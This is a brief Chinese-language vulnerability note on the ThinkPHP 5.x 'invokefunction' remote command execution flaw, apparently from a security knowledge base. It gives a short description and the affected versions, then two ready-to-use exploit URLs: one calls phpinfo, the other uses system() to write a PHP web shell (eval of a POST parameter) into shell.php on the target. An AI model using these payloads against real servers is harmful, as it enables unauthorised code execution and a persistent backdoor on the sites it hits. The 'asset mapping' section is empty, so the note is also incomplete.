thinkphp 5.x版本app/invokefunction存在命令执行漏洞
一、漏洞简介
<font style="color:rgba(0, 0, 0, 0.84);">ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。thinkphp 5.x版本存在命令执行漏洞</font>
<font style="color:rgba(0, 0, 0, 0.84);">二、影响版本</font>
- ThinkPHP 5.x
三、资产测绘
- 特征
四、漏洞复现
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[1]);?>%27%20>%20shell.php